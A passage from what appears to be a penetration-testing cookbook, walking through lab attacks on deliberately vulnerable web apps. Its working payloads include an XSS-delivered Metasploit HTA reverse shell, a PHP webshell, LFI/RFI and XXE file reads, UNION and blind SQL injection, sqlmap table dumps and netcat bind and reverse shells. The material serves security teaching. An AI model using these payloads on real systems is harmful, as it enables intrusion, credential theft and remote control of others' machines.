4. In ZAP's WebSockets tab, you can see that there are multiple communication channels, that is, multiple connections established and all messages have a direction (ingoing or outgoing), an opcode, and a payload, which is the information to be communicated:

5. To intercept WebSocket, add a breakpoint by clicking the break icon in the WebSockets tab. Select the Opcode, Channel, and Payload Pattern that needs to be matched to an intercept:

6. When a breakpoint is hit, the message will be shown in the upper panel, like every other break in ZAP, but here we can alter the contents and send or discard the message:

7. ZAP also has the ability to replay/resend an existing message; right-click on any row in the WebSockets tab and select Open/Resend with Message Editor:

8. Then, we will see the WebSocket Message Editor window, where we can change all of the parameters of the message, including its direction and contents, and send it again:

Most of the attacks and security weaknesses inherent in web applications can be replicated and exploited via WebSockets if the application is vulnerable.

How it works...

WebSockets communication is initiated by the client via the WebSocket class in JavaScript. When a WebSocket instance is created, the client starts the handshake with the server. When the server responds to the handshake and the connection is established, the HTTP connection is then replaced by the WebSocket connection, and it becomes a bidirectional binary protocol not necessarily compatible with HTTP.

WebSockets is plain text, as is HTTP. The server will still require you to implement HTTPS to provide an encrypted layer. If we sniff the communication in the previous exercise with Wireshark, we can easily read the message:

Notice how the messages sent by the client are masked (not encrypted) and the ones from the server are in clear text; this is part of the protocol definition for RFC 6455 (http://www.rfc-base.org/txt/rfc-6455.txt).

Using XSS and Metasploit to get a remote shell

In previous chapters, we have seen that XSS can be used by an attacker to extract user information or perform actions on the user's behalf within the application's scope. However, with a little more effort and some well-executed social engineering labor, an attacker can use XSS to convince the user to download and execute malicious software that can be used to compromise their client computer and gain further access to the local network.

In this recipe, we will see a proof of concept for a more elaborated XSS attack that will conclude with the attacker being able to remotely execute commands on the victim's computer.

Getting ready

For this recipe, we will use BodgeIt from the vulnerable VM vm_1 as the exploited application. We will also need a separate client virtual machine, for the sake of clarity. In this recipe, we will add a Windows 7 virtual machine to our laboratory.

If you don't have a Windows VM already configured, Microsoft has various setups available for developers to test their applications in its Internet Explorer and Edge browsers; you can download them from https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/. For this recipe, we will use Windows 7 with IE 8. Feel free to try it in any other version; it should work with some minor changes in architecture and OS settings.

How to do it...

What we are going to do is to use XSS to make the browser open and execute a malicious HTA file hosted in our Kali VM:

1. First, let's set up the server. Open the Metasploit console:

msfconsole

2. Once it's started, execute the following commands to load the exploit module and payload:

use exploit/windows/misc/hta_server
set payload windows/shell/reverse_tcp

3. Now, our server will listen on port 8888:

set srvport 8888

4. And the listener for the reverse connection, once the payload is executed, will be on port 12345:

set lport 12345
show options

5. Now, we run the exploit and wait for a client to connect:

run

Notice the information given by the server when it starts. The Local IP value tells us how to access the malicious HTA file, whose name is a random string with the extension .hta (k0Pjsl1tz2cI3Mm.hta in this case).

6. Now, go to the Windows VM, our client, and open Internet Explorer.

7. Suppose the attacker sends a phishing email containing a link to http://192.168.56.11/bodgeit/search.jsp?q=t<iframe src="http://192.168.56.10:8888/k0Pjsl1tz2cI3Mm.hta"></iframe> to the victim. Open that link in Internet Explorer.

8. If the pretext in the email and the XSS attack are good, the user will accept the warnings and will download and execute the file. Accept the download of the file in IE:

9. When prompted to Run, Save, or Cancel, run the HTA file:

10. Now, let's go back to the attacking side. Go to Kali and check the terminal that has the exploit running; it should have received the requests and sent the payload:

11. Notice how Metasploit says it has a new session opened, in our case with the number 2. Use the sessions command to see the details.

12. To interact with session number 2, use sessions -i 2. You will be in a Windows Command Prompt; issue some Windows commands to verify that it is actually the victim machine:

How it works...

HTA stands for HTML Application, which is a format that allows for the execution of code within a web browser but without the constraints of the browser security model; it is like running a fully trusted application, like the browser itself or MS Word.

In this recipe, we used Metasploit to generate a malicious HTA file and set up a server to host it. Our malicious file contained a reverse shell; a reverse shell is a program that, when executed by the victim, will establish a connection back to the attacker's server (that's why it is called reverse), as opposed to opening a port in the victim to wait for an incoming connection. When this connection is completed, a command execution session (a remote shell) is established.

We arbitrarily picked port 8888 for our server and port 12345 for the exploit listener. In a real-world scenario, maybe port 80 or 443 with proper TLS configuration would be more convenient, as those are the common ports for HTTP communication and the shell exploit would require a more advanced setup, including encrypted communication and maybe the use of another port that doesn't raise alerts when communication is detected by an administrator. SSH port 22 is a good choice.

In this attack, XSS is only the method used to load the malicious file into the victim machine; it also assumes that the attacker will create a convincing social engineering scenario so that the file is accepted and executed.

Exploiting Injection Vulnerabilities

In this chapter we will cover the following topics:

- Looking for file inclusions

- Abusing file inclusions and uploads

- Manually identifying SQL injection

- Step-by-step error-based SQL injection

- Identifying and exploiting blind SQL injections

- Finding and exploiting SQL injections with SQLMap

- Exploiting an XML External Entity injection

- Detecting and exploiting command injection vulnerabilities

Introduction

According to the OWASP Top 10 2017 list (https://www.owasp.org/index.php/Top_10-2017_Top_10), injection flaws, such as SQL, operating system commands, and XML injection, are the most prevalent vulnerabilities and have the highest impact of all web application vulnerabilities.

Injection flaws occur when untrusted data coming from user-provided parameters is to be interpreted by the server. An attacker can then trick the interpreter into treating this data as executable instructions, making it execute unintended commands or gaining access to data without proper authorization.

In this chapter, we will discuss the major injection flaws in today's web applications, and will also look at tools and techniques to use in order to detect and exploit them.

Looking for file inclusions

File inclusion vulnerabilities occur when developers use request parameters, which can be modified by users, to dynamically choose which pages to load or to include in the code the server will execute. Such vulnerabilities may cause a full system compromise if the server executes the included file.

In this recipe, we will test a web application to discover whether it is vulnerable to file inclusions.

How to do it...

We will use Damn Vulnerable Web Application (DVWA) for this recipe, so we need both the Kali and vulnerable virtual machines. Let's take a look at the following steps:

1. Log into DVWA and go to File Inclusion.

2. It says that we should edit the GET parameter page to test the inclusion, so let's try with index.php. The result is shown in the following screenshot:

It seems that there is no index.php file in that directory (or it is empty). Maybe this means that Local File Inclusion (LFI) is possible.

3. To try LFI, we need to know the name of a file that really exists locally. We know that there is an index.php in the root directory of DVWA, so we try directory traversal together with file inclusion. Set ../../index.php to the page variable, and we get the following:

With this, we have demonstrated that LFI and directory traversal are both possible (by using ../../, we traverse the directory tree).

4. The next step is to try Remote File Inclusion (RFI), which is including a file hosted in another server instead of a local file. As our vulnerable virtual machine does not have internet access (or it should not have, for security reasons), we will try and include a file hosted in our Kali machine. Open a Terminal in Kali and start the Apache service:

# service apache2 start

5. Now, in the browser, let's include our Kali home page by entering the URL of the page as a parameter on the vulnerable application, http://192.168.56.11/dvwa/vulnerabilities/fi/?page=http://192.168.56.10/index.html, as shown in the following screenshot:

We were able to make the application load an external page by entering its full URL in the parameter. This means it is vulnerable to RFI. If the included file contains executable server-side code (PHP, for example), such code will be executed by the server, allowing an attacker to remotely execute commands, which makes a full system compromise very likely.

How it works...

If we use the View Source button in DVWA, we can see the server-side source code is as follows:

<?php
$file = $_GET['page']; //The page we wish to display
?>

This means the page variable's value is passed directly to the filename, and then it is included in the code. With this, we can include and execute any PHP or HTML file we want in the server, as long as it is accessible through the network. To be vulnerable to RFI, the server must include allow_url_fopen and allow_url_include in its configuration. Otherwise, it will only be LFI, if the file inclusion vulnerability is present.

There's more...

We can also use LFI to display relevant files in the host operating system. Try, for example including ../../../../../../etc/passwd, and you will get a list of system users, their home directories, and their default shells.

Abusing file inclusions and uploads

As we saw in the previous recipe, file inclusion vulnerabilities occur when developers use poorly validated input to generate file paths and use those paths to include source code files. Modern versions of server-side languages, such as PHP since 5.2.0, have disabled the ability to include remote files by default, so it has been less common to find an RFI since 2011.

In this recipe, we will first upload a malicious file, namely a webshell (a web page capable of executing system commands in the server), and execute it using LFI.

Getting ready

In this recipe, we will upload a file to the server. We need to know where is it going to be stored in order to be able to access it via programming. To get the upload location, go to Upload in DVWA and upload any JPG image. If the upload is successful, it will display the path to which it was uploaded (../../hackable/uploads/). Now we know the relative path where the application saves the uploaded files; that's enough for this recipe.

Now create a file called webshell.php with the following content:

<?
system($_GET['cmd']);
echo PHP_EOL . 'Type a command: <form method="GET" action="../../hackable/uploads/webshell.php"><input type="text" name="cmd"/></form>' . PHP_EOL;
?>

Notice how the action parameter includes the upload path we got from uploading the JPG file.

How to do it...

Let's raise the bar a little bit by adding some protections to the vulnerable page: log into DVWA, go to DVWA Security, and set the security level to Medium. Now we can start testing:

1. First, let's try to upload our file. In DVWA, go to Upload and try to upload webshell.php:

So, there is a validation of what we can upload, and the file needs to be an image; we will need to bypass this protection in order to upload our webshell.

2. An easy way to avoid the validation is to rename our PHP file with a valid extension. But this would cause the server and browser to treat it like an image, and the code wouldn't execute. Instead, we will work around this protection by modifying the request's parameters.  Set up Burp Suite as an intercepting proxy.

3. Select the webshell.php file for uploading.

4. Enable interception in Burp Suite and click Upload. The intercepted request is shown in the following screenshot:

You can see that the request is multipart. This means it has multiple, separate components, each one with its header section. Notice the Content-Type header in the second part, the one with the content of the file we are trying to upload. It says application/x-php, which tells the server the file is a PHP script.

5. Change the value of Content-Type in the second part to image/jpeg and submit the request. As shown in the following screenshot, this will be successful:

6. The next step is to use this webshell to execute system commands on the server. Go back to File Inclusion in DVWA.

7. As we did in the previous recipe, use the page parameter to include our webshell. Remember to use the relative path (../../hackable/uploads/webshell.php), as shown in the following screenshot:

8. The page webshell code is loaded and we can see the Type a command text and a text box below it. In the text box, write /sbin/ifconfig and hit Enter:

And it worked! As we can see in the screenshot, the server has the IP address 192.168.56.11. Now we can execute commands in the server by typing them in the textbox or setting a different value to the cmd parameter.

How it works...

First, we discovered that the application verifies the files before accepting the upload. There are multiple ways for an application to do this. The most simple and common ways are to check the file extension and the request's Content-Type header; the latter is used in this recipe. To bypass this protection, we changed the content type of the file, which is set by default by the browser to application/x-php, to the type that the server expects so that it will accept the file as an image: image/jpeg.

For more information about valid types in HTTP communication, check out the following URLs: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types, and https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types.

The file we uploaded, webshell.php, takes a GET parameter (cmd) and sets it as an input parameter to the system() function of PHP. What system does is invoke a system command and display its output in the response to the client. The rest of the code is just an HTML form that allows us to input commands over and over again. Notice how the action of the form is set to the relative path where the file was uploaded. It is done in this way because the file is not being called directly, but included. This means its code is interpreted as part of its includer's code, hence, all the relative paths and URLs are interpreted from the perspective of the file doing the inclusion.

Once the file is uploaded, we used an LFI vulnerability to execute it and run system commands on the server.

There's more...

Once we are able to upload and execute server-side code, there are a huge number of options we can use to compromise the server. For example, in a bind shell, we establish a direct connection that allows us to interact directly with the server without needing to go through the webshell. A very simple way to do this is to run the following in the server:

nc -lp 12345 -e /bin/bash

It will open the TCP port 12345 and listen for a connection. When the connection succeeds, it will execute /bin/bash, receive its input, and send its output through the network to the connected host (the attacking machine). To connect to the victim server, let's say 192.168.56.10, we run this command in our Kali machine:

nc 192.168.56.10 12345

This connects to the server listening on port 12345. It is also possible to make the server download a malicious program, a privilege escalation exploit, for example, and execute it to become a user with more privileges.

Manually identifying SQL injection

Most modern web applications implement some kind of database, and SQL is the most popular language to make queries to databases. In an SQL injection (SQLi) attack, the attacker seeks to abuse the communication between an application and a database by making the application send altered queries via the injection of SQL commands in form inputs or any other parameter in requests that are used to build an SQL statement in the server.

In this recipe, we will test the inputs of a web application to see whether it is vulnerable to error-based SQLi.

How to do it...

Log into DVWA, go to SQL Injection, and check that the security level is low:

1. As in previous recipes, let's test the normal behavior of the application by introducing a number. Set User ID as 1 and click Submit. By looking at the result, we can say that the application queried a database to see whether there is a user with an ID equal to one and returned the ID, name, and surname of that user.

2. Next, we must test what happens if we send something that the application does not expect. Introduce 1' in the textbox and submit that ID. As shown in the following screenshot, the application should respond with an error:

This error message tells us that the database received an incorrectly formed query. This doesn't mean we can be sure there is an SQLi here, but it is very likely that this application is vulnerable.

3. Return to the DVWA SQL Injection page.

4. To be sure that there is an error-based SQLi, we try another input: 1'' (two apostrophes this time):

No error this time. This confirms that there is an SQLi vulnerability in the application.

5. Now we will perform a very basic SQLi attack. Introduce ' or '1'='1 in the textbox and submit. The result should look something like the following:

It looks like we just got all the users registered on the database.

How it works...

SQLi occurs when the input is not validated and sanitized before it is used to form a query for the database. Let's imagine that the server-side code (in PHP) in the application composes the query as follows:

$query = "SELECT * FROM users WHERE id='".$_GET['id']. "'";

This means that the data sent in the id parameter will be integrated as is in the query. If we replace the parameter reference with its value, we have this:

$query = "SELECT * FROM users WHERE id='"."1". "'";

So, when we send a malicious input like we did, the line of code is read by the PHP interpreter as follows:

$query = "SELECT * FROM users WHERE id='"."' or '1'='1"."'";

And the resulting SQL sentence will look like:

$query = "SELECT * FROM users WHERE id='' or '1'='1'";

That means select everything from the table called users if the user id equals nothing or 1 = 1; and since one always equals one, all users are going to meet these criteria. The first apostrophe we send closes the one opened in the original code. After that, we can introduce some SQL code, and the last one without a closing apostrophe uses the one already set in the server's code.

This is called error-based SQLi, and is the most basic form of SQLi because we use error messages to figure out whether we have formed a valid query with our injection, and the results are displayed directly in the application's output.

There's more...

An SQLi attack may cause much more damage than simply showing the usernames of an application. By exploiting this kind of vulnerability, an attacker may exfiltrate all kinds of sensitive information about users, such as contact details and credit card numbers. It is also possible to compromise the whole server, and be able to execute commands and escalate privileges in it. Also, an attacker may be able to extract all the information from the database, including database and system users, passwords, and, depending on the server and internal network configuration, an SQLi vulnerability may be an entry point for a full network and internal infrastructure compromise.

Step-by-step error-based SQL injections

In the previous recipe, we detected an SQLi. In this recipe, we will exploit that vulnerability and use it to extract information from the database.

How to do it...

We already know that DVWA is vulnerable to SQLi, so let's log in and browse to http://192.168.56.11/dvwa/vulnerabilities/sqli/. Then, follow the following steps:

1. After detecting that an SQLi exists, the next step is to get to know the internal query, or, more precisely, the number of columns its result has. Enter any number in the User ID box and click Submit.

2. Now, open the HackBar (hit F9) and click Load URL. The URL in the address bar should now appear in the HackBar.

3. In the HackBar, we replace the value of the id parameter with 1' order by 1 -- ' and click Execute, as shown in the following screenshot:

4. We keep increasing the number after order by and executing the requests until we get an error. In this example, it happens when ordering by column 3. This means that the result of the query has only two columns and an error is triggered when we attempt to order it by a non-existent column:

5. Now we know the query has two columns. Let's try to use the union statement to extract some information. Set the value of id to 1' union select 1,2 -- ' and Execute. You should have two results:

6. This means we can ask for two values in that union query. Let's get the version of the DBMS and the database user. Set id to 1' union select @@version,current_user() -- ' and Execute:

7. Let's look for something more relevant, the users of the application, for example. First, we need to locate the users' table. Set the id to 1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- ' and submit to get the following result:

8. OK, we know that the database (or schema) is called dvwa and the table we are looking for is users. As we have only two positions to set values, we need to know which columns of the table are useful to us; set id to 1' union select column_name, 1 FROM information_schema.tables WHERE table_name = 'users' -- '.

9. And finally, we know exactly what to ask for. Set id to 1' union select user, password FROM dvwa.users -- ':

In the First name: field we have the application's username, and, in the Surname: field, we have each user's password hash. We can copy those hashes to a text file and try to crack them with John the Ripper, or our favorite password cracker.

How it works...

From our first injection, 1' order by 1 -- ' through 1' order by 3 -- ', we are using a feature in SQL that allows us to order the results of a query by a certain field or column using its number in the order it is declared in the query. We used this to generate an error so that we could find out how many columns the query has, and so that we can use them to create a union query.

The union statement is used to concatenate two queries that have the same number of columns. By injecting this, we are able to query almost anything to the database. In this recipe, we first checked whether it was working as expected. After that, we set our objective in the users' table and did the following to get it:

1. The first step was to discover the database and table's names. We did this by querying the information_schema database, which is the one that stores all information on databases, tables, and columns in MySQL.

2. Once we knew the names of the database and table, we queried for the columns in the table to find out which ones we were looking for, which turned out to be user and password.

3. And lastly, we injected a query asking for all usernames and passwords in the users table of the dvwa database.

Identifying and exploiting blind SQL injections

We already saw how an SQLi vulnerability works. In this recipe, we will cover a different vulnerability of the same kind, one that does not show an error message or a hint that could lead us to the exploitation. We will learn how to identify and exploit a blind SQLi.

How to do it...

Log into DVWA and go to SQL Injection (Blind):

1. The form looks exactly the same as the SQLi form we saw in the previous recipes. Type 1 in the textbox and click Submit to see the information about the user with the ID 1.

2. Now, let's perform our first test with 1' and see whether we get an error as in previous recipes:

We get no error message, but no result either. Something interesting could be happening here.

3. We perform our second test with 1'':

The result for ID 1 is shown. This means that the previous test (1') was an error that was captured and processed by the application. It's highly probable that we have an SQLi here, but it seems to be blind—no information about the database is shown, so we will need to guess.

4. Let's try to identify what happens when you inject some code that is always false. Set 1' and '1'='2 as the user ID. 1 is not equal to 2, so no record meets the selection criteria in the query and no result is given.

5. Now try a query that will always be true when the ID exists: 1' and '1'='1:

This demonstrates that there is a blind SQLi in this page: if we get different responses to an injection of SQL code that always gives a false result, and another one that always gives a true result, we have a vulnerability because the server is executing the code, even if it doesn't show it explicitly in the response.

6. In this recipe, we will discover the name of the user connecting to the database, so we first need to know the length of the username. Let's try one. Inject this: 1' and 1=char_length(current_user()) and '1'='1.

7. The next step is to find this last request in Burp Suite's proxy history and send it to the intruder, as shown in the following screenshot:

8. Once sent to the intruder, we can clear all the payload markers and add one in the 1 after the first and, as shown in the following screenshot:

9. Go to the Payload section and set the Payload type to Numbers.

10. Set the Payload type to Sequential, from 1 to 15 with a step of one. It should look like this:

11. To see whether a response is positive or negative, go to Intruder's options, clear the Grep - Match list, and add First name:

We need to make this change in every Intruder tab we use for this attack.

12. Start the attack. The result shows that the user name is six characters long:

13. Now, we are going to guess each character in the username, starting by guessing the first letter. Submit the following in the application: 1' and current_user LIKE 'a%. The % character is a wildcard in SQL that will match any string. We chose a as the first letter to get Burp Suite to obtain the request. It could have been any letter.

14. Again, we send the request to the Intruder and leave only one payload marker in the a, which is the first letter of the name:

15. Our payloads will be a simple list containing all the lowercase letters (a to z), numbers (0 to 9), and some special characters (-, +, #, %, @). Uppercase letters are omitted because select queries in MySQL are not case sensitive.

16. Repeat step 12 in this Intruder tab and start the attack, as shown here:

The first letter of our user name is d.

17. Now, we need to find the second character of the name, so we submit 1' and current_user LIKE 'da% to the application's textbox and send the request to the intruder.

18. Now, our payload marker will be the a following the d; in other words, the second letter of the name.

19. Start the attack to discover the second letter. You will see that it's v:

20. Keep discovering all six characters in the username. You may notice that the % symbol in the payload is always marked as true. This is because, as we said previously, this symbol is a wildcard. We need it because it is a valid character in usernames. As we can see in the following screenshot, the last character is indeed %:

According to this result, the user name is dvwa@%. The second % character is part of our injection and matches the empty string after the actual name.

21. To verify the discovered username, we replace the like operator with =. Submit 1' and current_user()='dvwa@% to the page:

This confirms that we have found the correct name for the current user.

How it works...

Error-based SQLi and blind SQLi are, on the server side, the same vulnerability: the application doesn't sanitize inputs before using them to generate a query to the database. The difference between them lies in detection and exploitation.

In an error-based SQLi, we use the errors sent by the server to identify the type of query, tables, and column names.

On the other hand, when we try to exploit a blind injection, we need to harvest the information by asking questions such as is there a user whose name starts with "a"?, and then is there a user whose name starts with "aa"?, or as an SQLi: 'and name like 'a%, so it may take more time to detect and exploit.

Manually exploiting blind SQLi takes much more effort and time than error-based injection; in this recipe, we saw how to obtain the name of the user connected to the database, but in the previous recipe, we used a single command to get it. We could have used a dictionary approach to see whether the current user was in a list of names, but it would take much more time, and the name might not be in the list anyway.

Once we knew there was an injection and what a positive response would look like, we proceeded to ask for the length of the current username. We asked the database is 1 the length of the current username?, is it 2, and so on, until discovering the length. It is useful to know when to stop looking for characters in the username.

After finding the length, we use the same technique to discover the first letter. The LIKE 'a%' statement tells the SQL interpreter whether or not the first letter is a; the rest doesn't matter, it could be anything (% is the wildcard character for most SQL implementations). Here, we saw that the first letter was d. Using the same principle, we found the rest of the characters and worked out the name.

There's more...

This attack could continue by finding out the DBMS, the version being used, and then using vendor-specific commands to see whether the user has administrative privileges. If they do, you would extract all usernames and passwords, activate remote connections, and many more things besides. One other thing you could try is to use tools to automate this type of attack, such as SQLMap, which we will cover in the next recipe.

See also

There is another kind of blind injection, which is called time-based Blind SQLi, in which we don't have a visual clue whether or not the command was executed (as in valid or invalid account messages). Instead, we need to send a sleep command to the database and, if the response time is slightly longer than the one we sent, then it is a true response. This kind of attack is slow as it is sometimes necessary to wait even 30 seconds to get just one character. It is very useful to have tools such as sqlninja or SQLMap in these situations (https://www.owasp.org/index.php/Blind_SQL_Injection).

Have a look at the following links for more information on Blind SQLi:

- https://www.owasp.org/index.php/Blind_SQL_Injection

- https://www.exploit-db.com/papers/13696/

- https://www.sans.org/reading-room/whitepapers/securecode/sql-injection-modes-attack-defence-matters-23

Finding and exploiting SQL injections with SQLMap

As seen in the previous recipe, exploiting SQLi can be an industrious process. SQLMap is a command-line tool included in Kali Linux that can help us with the automation of detecting and exploiting SQL injections with multiple techniques and in a wide variety of databases.

In this recipe, we will use SQLMap to detect and exploit an SQLi vulnerability and to obtain usernames and passwords of an application.

How to do it...

Browse to http://192.168.56.11/mutillidae and go to OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info:

1. Try any username and password, for example, user and password, and click View Account Details.

2. The login will fail, but we are interested in the URL. Go to the address bar and copy the full URL to the clipboard. It should be something like http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details.

3. Now, in a Terminal window, type the following command:

sqlmap -u "http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p username --current-user --current-db --is-dba

You can see that the -u parameter has the copied URL as its value. With -p, we are telling SQLMap that we want to look for SQLi in the username parameter and, once the vulnerability is exploited, that we want it to retrieve the current database username and the database's name, and know whether that user has administrative permissions within the database. The retrieval of this information is because we only want to be able to tell whether there is an SQLi in that URL in the username parameter. The following screenshot shows the command and how SQLMap indicates execution:

4. Once SQLMap detects the DBMS used by the application, it will also ask whether we want to skip the test for other DBMS and whether we want to include all tests for the specific system detected, even if they are beyond the scope of the current level and risk configured. In this case, we answer Yes to skip other systems and No to include all tests.

5. Once the parameter we specified is found to be vulnerable, SQLMap will ask us whether we want to test other parameters. We answer No to this question, and then we will see the result:

6. If we want to obtain the usernames and passwords, like we did in the previous recipe, we need to know the name of the table that has such information. Execute the following command in the Terminal:

sqlmap -u "http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp --tables

SQLMap saves a log of the injections it performs, so this second attack will take less time than the first one. As you can see, the attack returns the list of tables in the database we specified:

7. Table accounts is the one that looks like having the information we want. Let's dump its content:

sqlmap -u "http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump

We now have the full users' table, and we can see in this case that passwords aren't encrypted, so we can use them as we see them:

8. SQLMap can also be used to escalate privileges in the database and the operating system. For example, if the database user is administrator, as is the case here, we can use the --users and --passwords options to extract names and password hashes of all database users, as shown in the following screenshot:

Often, these are also operating system users and will allow us to escalate to the operating system or other network hosts.

9. We can also get a shell that will allow us to send SQL queries to the database directly, as shown here:

How it works...

SQLMap fuzzes all inputs in the given URL and data, or only the specified one in the -p option, with SQLi strings and interprets the response to discover whether or not there is a vulnerability. It's good practice not to fuzz all inputs; it's better to use SQLMap to exploit an injection that we already know exists and always try to narrow the search process providing all information available to us, such as vulnerable parameters, DBMS type, and others; looking for an injection with all the possibilities open could take a lot of time and generate very suspicious traffic in the network.

In this recipe, we already knew that the username parameter was vulnerable to SQLi (since we used the SQLi test page from mutillidae). In the first attack, we only wanted to be sure that there was an injection there and asked for some very basic information: user name (--curent-user), database name (--current-db), and whether the user is an administrator (--is-dba).

In the second attack, we specified the database we wanted to query with the -D option and the name obtained from the previous attack, and asked for the list of tables it contains with --tables. Knowing what table we wanted to get (-T accounts), we told SQLMap to dump its content with --dump.

As the user querying the database from the application is DBA, it allows us to ask the database for other users' information, and SQLMap makes our lives much easier with the --users and --passwords options. These options ask for usernames and passwords, as all DBMSes store their users' passwords encrypted, and what we obtained were hashes, so we still have to use a password cracker to crack them. If you said Yes when SQLMap asked to perform a dictionary attack, you may now know the password of some users.

We also used the --sql-shell option to obtain a shell from which we could send SQL queries to the database. That was not a real shell, of course, just SQLMap sending the commands we wrote through SQLi and returning the results of those queries.

There's more...

SQLMap can also inject input variables in POST requests. To do that, we only need to add the --data option, followed by the POST data inside quotes, for example: --data “username=test&password=test”.

Sometimes, we need to be authenticated in an application in order to have access to the vulnerable URL of an application. If this happens, we can pass a valid session's cookie to SQLMap using the --cookie option: --cookie “PHPSESSID=ckleiuvrv60fs012hlj72eeh37”. This is also useful for testing for injections in cookie values.

Another interesting feature of this tool is that, besides the fact that it can bring us an SQL shell where we can issue SQL queries, more interestingly, we could gain command execution in the database server using --os-shell (this is especially useful when injecting Microsoft SQL Server). To see all the options and features that SQLMap has, you can run sqlmap --help.

See also

Kali Linux includes other tools that are capable of detecting and exploiting SQLi vulnerabilities that may be useful to use instead of, or in conjunction with, SQLMap:

- sqlninja: A very popular tool dedicated to MS SQL Server exploitation.

- Bbqsql: A blind SQLi framework written in Python.

- jsql: A Java-based tool with a fully automated GUI; we just need to introduce the URL and click a button.

- Metasploit: This includes various SQLi modules for different DBMSes.

Exploiting an XML External Entity injection

XML is a format mainly used to describe the structure of documents or data; HTML, for example, is a use of XML.

XML entities are like data structures defined inside an XML structure, and some of them have the ability to read files from the system or even execute commands.

In this recipe, we will exploit an XML External Entity (XEE) injection vulnerability to read files from the server and remotely execute code in it.

Getting ready

We suggest that you read the Abusing file inclusions and uploads recipe before doing this.

How to do it...

Refer to the following steps:

1. Browse to http://192.168.56.11/mutillidae/index.php?page=xml-validator.php.

2. It say it is an XML validator. Let's try to submit the example test and see what happens. In the XML box, put <somexml><message>Hello World</message></somexml> and click Validate XML. It should only display the message Hello World in the parsed section:

3. Now, let's see whether it processes entities correctly. Enter the following:

<!DOCTYPE person [
<!ELEMENT person ANY>
<!ENTITY person "Mr Bob">
]>
<somexml><message>Hello World &person;</message></somexml>

Here, we only defined an entity and set the value Mr Bob to it. The parser interprets the entity and replaces the value when showing the result:

4. That's the use of an internal entity. Let's try an external one:

<!DOCTYPE fileEntity [
<!ELEMENT fileEntity ANY>
<!ENTITY fileEntity SYSTEM "file:///etc/passwd">
]>
<somexml><message>Hello World &fileEntity;</message></somexml>

In the result, we can see that the injection returns the contents of a file:

Using this technique, we can extract any file in the system that is readable to the user under which the web server runs.

5. We can also use XEE to load web pages. In Abusing file inclusions, we managed to upload a webshell to the server. Let's try to reach it:

<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/webshell.php?cmd=/sbin/ifconfig"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>

This results in the page including and executing the server-side code and returning the command's result:

How it works...

XML gives the possibility of defining entities. An entity in XML is a name with a value associated with it. Every time an entity is used in the document, it will be replaced by its value when the XML file is processed. Using this and the different wrappers available (such as file:// to load system files, or http:// to load URLs), we can abuse implementations that don't have the proper security measures in terms of input validation and XML parser configuration, and extract sensitive data or even execute commands in the server.

In this recipe, we used the file:// wrapper to make the parser load an arbitrary file from the server, and, after that, with the http:// wrapper, we called a web page that happened to be a webshell in the same server and executed system commands with it.

There's more...

There is also a Denial of Service (DoS) attack through this vulnerability called billion laughs. You can read more about it on wikipedia: https://en.wikipedia.org/wiki/Billion_laughs.

There is a different wrapper (such as file:// or http://) for XML entities supported by PHP, which, if enabled in the server, could allow command execution without the need to upload a file. It is expect ://. You can find more information on this and other wrappers at http://www.php.net/manual/en/wrappers.php.

See also

To see an impressive example of how XEE vulnerabilities were found in some of the most popular websites in the world, have a look at http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution. Or, for a more recent example, check out this exploitation of Oracle Peoplesoft: https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce.

Detecting and exploiting command injection vulnerabilities

We have seen before how PHP's system() can be used to execute operating system commands in the server; sometimes, developers use instructions such as that, or others with the same functionality, to perform certain tasks. Sometimes, they use unvalidated user input as parameters for the execution of commands.

In this recipe, we will exploit a command injection vulnerability and extract important information from the server.

How to do it...

Log into DVWA and go to Command Execution:

1. We will see a Ping for FREE form. Let's try it! Ping to 192.168.56.10 (our Kali Linux machine's IP):

That output looks like it was taken directly from the ping command's output. This suggests that the server is using an operating system command to execute the ping, so it may be possible to inject operating system commands.

2. Let's try to inject a very simple command. Submit the following code, 192.168.56.10;uname -a:

We can see the uname command's output just after ping's output. We have a command injection vulnerability here.

3. How about without the IP address: ;uname -a. The result is shown in the following screenshot:

4. Now, we are going to obtain a reverse shell on the server. First, we must be sure the server has everything we need. Submit ;ls /bin/nc*. It should return a list of files with a full path:

So, we have more than one version of NetCat, which is the tool we are going to use to generate the connection. The OpenBSD version of NetCat does not support the execution of commands on connection, so we will use the traditional one.

5. The next step is to listen to a connection in our Kali machine; open a Terminal and run the following command:

nc -lp 1691 -v

6. And, back in the browser, submit the following: ;nc.traditional -e /bin/bash 192.168.56.10 1691 &.

7. We will see how a connection is received in the listening Kali Terminal. There, we can execute commands on the server, as in the following example:

Our Terminal will react to the connection. We now can issue non-interactive commands and check their output.

How it works...

As in the case of SQLi and others, command injection vulnerabilities are due to a poor input validation mechanism and the use of user-provided data to form strings that will later be used as commands to the operating system. If we look at the source code of the page we just attacked (there is a button in the bottom right-hand corner on every DVWA's page), it will look just like this:

<?php
if( isset( $_POST[ 'submit' ] ) )
{
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT'))
{
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
else
{
$cmd = shell_exec( 'ping -c 3 ' .$target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>

We can see it directly appends the user's input to the ping command. All we did was to add a semicolon, which the system's shell interpreted as a command separator, and next to it, the command we wanted to execute.

After having a successful command execution, the next step was to verify whether the server had NetCat, which is a tool that has the ability to establish network connections and, in some versions, to execute a command when a new connection is established. We saw that the server's system had two different versions of NetCat and executed the one we know supports the feature we require.

